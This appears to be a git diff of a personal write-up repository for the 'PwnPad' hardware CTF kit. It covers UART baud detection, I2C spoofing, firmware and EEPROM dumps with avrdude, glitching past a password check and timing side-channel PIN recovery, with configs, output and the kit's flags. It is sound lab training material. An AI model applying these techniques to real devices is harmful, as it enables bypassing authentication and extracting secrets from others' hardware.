+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
